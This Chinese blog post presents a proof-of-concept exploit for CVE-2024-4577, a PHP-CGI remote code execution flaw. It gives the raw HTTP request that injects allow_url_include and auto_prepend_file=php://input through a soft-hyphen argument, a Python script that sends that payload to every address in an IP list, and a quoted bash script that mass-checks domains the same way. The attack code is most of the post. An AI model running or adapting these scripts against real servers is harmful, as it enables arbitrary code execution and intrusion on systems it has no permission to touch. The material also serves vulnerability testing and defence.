[CVE-2024-4577] php CGI RCE漏洞python POC
参考:https://www.ddosi.org/cve-2024-4577/
http包👇
POST /test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input HTTP/1.1
Host: xxx.xxx.xxx.xxx
Content-Length: 21
User-Agent: curl/8.3.0
Accept: */*
Content-Length: 21
Content-Type: application/x-www-form-urlencoded
Connection: keep-alive
<?php
phpinfo();
?>
编写exp.py👇
'''
EXP
of
PHP RCE CVE-2024-4577
'''
if __name__=='__main__':
print('我开始啦')
import requests
import re
import json
###############👇
path=r"D:\phpstudy_pro\WWW\UPLOAD\py\CVE-2024-4577\IP-list.txt" #地址列表文件位置
###############👆
#pattern = r'\{.*\}'
pattern = r"<h1 class=\"p\">PHP Version"
#初始化地址列表
def addstr(url):
url_tail=r'/test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input'
def add_http_header(url):
if not url.startswith('http://'):
url = 'http://' + url
return url
def delxiegang(url):
if url.endswith('/'):
url=url[:-1]
return url
def addxiegang(url):
if not url.endswith('/'):
url =url+'/'
return url
http_url= add_http_header(url)
final_url=delxiegang(http_url)+url_tail
return final_url
address_list=[]
#读取地址列表👇
with open(path,'r',encoding='utf-8') as file:
for line in file:
address_list.append(addstr(line.replace("\n", "")))
print(address_list)
def send_poc(url):
url=url
headers = {
"User-Agent": "curl/8.3.0",
"Accept": "*/*",
"Content-Type": "application/x-www-form-urlencoded",
"Connection": "keep-alive"
}
data = "<?php phpinfo(); ?>"
try:
response = requests.post(url, headers=headers, data=data)
response.encoding='utf-8'
response_text=response.text
matches = re.findall(pattern, response_text)
if matches:
print("#利用成功!!!!!!!!!!!!!!!!!!!,url:", url)
else:
print("@未找到匹配项。", url)
except:
print("@发生了一个错误", url)
pass
#发送poc👆
#print(response.text)
#check php_info👇
for address_url in address_list:
send_poc(address_url)
BASH脚本POC
我写完这个py脚本才发现github上已经有人写了bash脚本,思路差不多一样👇
https://github.com/11whoami99/CVE-2024-4577/blob/main/CVE-2024-4577.sh
#!/bin/bash
# Function to check vulnerability for a domain
check_vulnerability() {
local domain=$1
local response=$(curl -s -X POST "${domain}/test.hello?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input" \
-H "User-Agent: curl/8.3.0" \
-H "Accept: */*" \
-H "Content-Length: 23" \
-H "Content-Type: application/x-www-form-urlencoded" \
-H "Connection: keep-alive" \
--data "<?php phpinfo(); ?>" \
--max-time 10)
if [[ $response == *"PHP Version"* ]]; then
echo "$domain: Vulnerable"
fi
}
# Main function to iterate over domains
main() {
local file=$1
while IFS= read -r domain || [ -n "$domain" ]; do
check_vulnerability "$domain"
done < "$file"
}
# Check if the file argument is provided
if [ "$#" -ne 1 ]; then
echo "Usage: $0 <domain_list_file>"
exit 1
fi
# Call the main function with the domain list file
main "$1"
正则和他的通配符匹配的字符串都一样,挺巧的.
本文作者:sesmof
本文链接:https://www.cnblogs.com/sesmof/p/18239068
版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。
分类:
实战
【推荐】国内首个AI IDE,深度理解中文开发场景,立即下载体验Trae
【推荐】编程新体验,更懂你的AI,立即体验豆包MarsCode编程助手
【推荐】抖音旗下AI助手豆包,你的智能百科全书,全免费不限次数
【推荐】轻量又高性能的 SSH 工具 IShell:AI 加持,快人一步